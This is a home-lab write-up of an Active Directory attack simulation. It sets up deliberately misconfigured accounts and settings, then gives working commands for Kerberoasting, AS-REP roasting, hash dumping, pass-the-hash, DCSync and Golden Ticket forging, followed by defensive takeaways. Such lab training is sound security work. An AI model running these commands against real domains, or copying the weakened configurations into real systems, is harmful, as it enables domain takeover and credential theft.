Active Directory Lab Setup & Attack Simulation

Active Directory Lab Setup & Attack Simulation

This writeup covers the full setup of a home Active Directory lab environment and a structured attack simulation against it. The lab consists of a Windows Server 2019 Domain Controller and two Windows 10 workstations — all running as virtual machines. Attack techniques covered include Kerberoasting, AS-REP Roasting, Pass-the-Hash, DCSync, and BloodHound enumeration — simulating a realistic internal adversary from initial access to full domain compromise.

Lab Info

• Type: Home Lab — Attack Simulation
• Domain: lab.local
• Hosts: Windows Server 2019 DC, 2x Windows 10 Workstations
• Attacker: Kali Linux VM (same host-only network)

Step 1 — Lab Setup (Virtualisation)

All VMs were created in VirtualBox with a dedicated host-only network adapter so machines can communicate without internet exposure:

• DC01 — Windows Server 2019 — 192.168.56.10
• WRK01 — Windows 10 Pro — 192.168.56.20
• WRK02 — Windows 10 Pro — 192.168.56.30
• Kali — Kali Linux 2023 — 192.168.56.100

Each VM was assigned a static IP within the host-only range. The Kali machine has an additional NAT adapter for internet access to install tools while the lab network remains isolated.

Step 2 — Domain Controller Setup

Active Directory Domain Services was installed and a new forest configured on DC01 via PowerShell:

# Install AD DS role
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools

# Promote to Domain Controller
Install-ADDSForest `
  -DomainName "lab.local" `
  -DomainNetbiosName "LAB" `
  -ForestMode "WinThreshold" `
  -DomainMode "WinThreshold" `
  -InstallDns `
  -Force

After the DC rebooted, intentionally vulnerable configurations were applied to simulate a realistic misconfigured environment:

# Create vulnerable service account with SPN (Kerberoastable)
New-ADUser -Name "svc_sql" -AccountPassword `
  (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
  -Enabled $true
Set-ADUser svc_sql -ServicePrincipalNames `
  @{Add="MSSQLSvc/dc01.lab.local:1433"}

# Create AS-REP Roastable user (no preauth required)
New-ADUser -Name "svc_backup" -AccountPassword `
  (ConvertTo-SecureString "Backup2023!" -AsPlainText -Force) `
  -Enabled $true
Set-ADAccountControl svc_backup `
  -DoesNotRequirePreAuth $true

# Disable SMB signing (enables relay attacks)
Set-SmbServerConfiguration -RequireSecuritySignature $false -Force

Step 3 — Workstation Setup and Domain Join

Both workstations were joined to lab.local and configured with deliberate misconfigurations for attack simulation:

# Join workstation to domain (run on WRK01 and WRK02)
Add-Computer -DomainName "lab.local" `
  -Credential (Get-Credential) -Restart

# Add domain user as local admin on WRK01 (lateral movement path)
net localgroup administrators LAB\jsmith /add

# Enable WinRM for remote management
Enable-PSRemoting -Force

A low-privilege domain user jsmith was created and given local admin rights on WRK01 — simulating a common overprivileged user misconfiguration found in real environments.

Step 4 — Enumeration with BloodHound

From the Kali attacker machine, BloodHound was used to map the domain and identify attack paths to Domain Admin:

# Run SharpHound collector remotely via CrackMapExec
crackmapexec smb 192.168.56.10 \
  -u jsmith -p Password1 \
  -M bloodhound

# Or run SharpHound directly on a workstation
.\SharpHound.exe -c All --zipfilename lab_data.zip

# Import zip into BloodHound
# Queries to run:
# "Shortest Paths to Domain Admins"
# "Find Kerberoastable Users"
# "Find AS-REP Roastable Users"

BloodHound identified a clear attack path from jsmith to Domain Admin via local admin rights on WRK01, credential reuse, and a Kerberoastable service account.

Step 5 — Kerberoasting

Using jsmith credentials, a Kerberos service ticket was requested for the svc_sql account and cracked offline:

# Request service tickets with Impacket
python3 GetUserSPNs.py \
  lab.local/jsmith:Password1 \
  -dc-ip 192.168.56.10 -request \
  -outputfile kerberoast.txt

# Crack the TGS hash with Hashcat
hashcat -m 13100 kerberoast.txt \
  /usr/share/wordlists/rockyou.txt

The svc_sql password Password123! was cracked in seconds. Weak service account passwords are the primary reason Kerberoasting succeeds in real environments.

Step 6 — AS-REP Roasting

The svc_backup account had Kerberos pre-authentication disabled — allowing the AS-REP hash to be requested without any credentials:

# Request AS-REP hash — no credentials needed
python3 GetNPUsers.py \
  lab.local/ -usersfile users.txt \
  -dc-ip 192.168.56.10 \
  -outputfile asrep.txt

# Crack the AS-REP hash
hashcat -m 18200 asrep.txt \
  /usr/share/wordlists/rockyou.txt

The cracked password gave access to svc_backup. AS-REP Roasting requires no prior domain credentials making it viable from an unauthenticated starting position.

Step 7 — Pass-the-Hash and Lateral Movement

With svc_sql credentials obtained, NTLM hashes were dumped from WRK01 using secretsdump and reused for lateral movement:

# Dump hashes from WRK01 using svc_sql credentials
python3 secretsdump.py \
  lab.local/svc_sql:Password123!@192.168.56.20

# Pass-the-Hash to WRK02
crackmapexec smb 192.168.56.30 \
  -u Administrator \
  -H <NTLM_hash>

# Remote shell via Pass-the-Hash
python3 psexec.py \
  -hashes :<NTLM_hash> \
  Administrator@192.168.56.30

Lateral movement succeeded across both workstations without requiring any plaintext password — demonstrating why unique local admin passwords are critical on every machine.

Step 8 — DCSync (Domain Compromise)

With Domain Admin equivalent privileges obtained, DCSync was used to replicate all password hashes from the domain controller — simulating the final stage of full domain compromise:

# DCSync — replicate all domain hashes
python3 secretsdump.py \
  lab.local/Administrator:password@192.168.56.10 \
  -just-dc

# Dump the krbtgt hash for Golden Ticket creation
python3 secretsdump.py \
  lab.local/Administrator:password@192.168.56.10 \
  -just-dc-user krbtgt

The krbtgt hash allows creation of a Golden Ticket — a forged Kerberos TGT that grants permanent domain admin access even after password resets, until the krbtgt password is rotated twice.

# Create Golden Ticket with Impacket
python3 ticketer.py \
  -nthash <krbtgt_hash> \
  -domain-sid <domain_sid> \
  -domain lab.local Administrator

# Export and use the ticket
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass \
  dc01.lab.local

Key Takeaways

• Service accounts with SPNs must have strong passwords — Kerberoasting is trivial against weak ones
• Never disable Kerberos pre-authentication — AS-REP Roasting requires zero prior access
• Unique local admin passwords prevent lateral movement — use LAPS to enforce this
• SMB signing must be enforced — disabling it enables NTLM relay across the entire domain
• DCSync requires Domain Admin equivalent rights — limit replication permissions strictly
• Rotate the krbtgt password twice after any compromise — once is not enough for Golden Tickets

Tools Used

• VirtualBox — lab virtualisation and host-only network
• BloodHound / SharpHound — AD enumeration and attack path mapping
• Impacket — GetUserSPNs, GetNPUsers, secretsdump, psexec, ticketer
• CrackMapExec — SMB enumeration, Pass-the-Hash, lateral movement
• Hashcat — Kerberoast (13100) and AS-REP (18200) hash cracking
• PowerShell / RSAT — domain setup and user provisioning
• Kali Linux — attacker machine and tool execution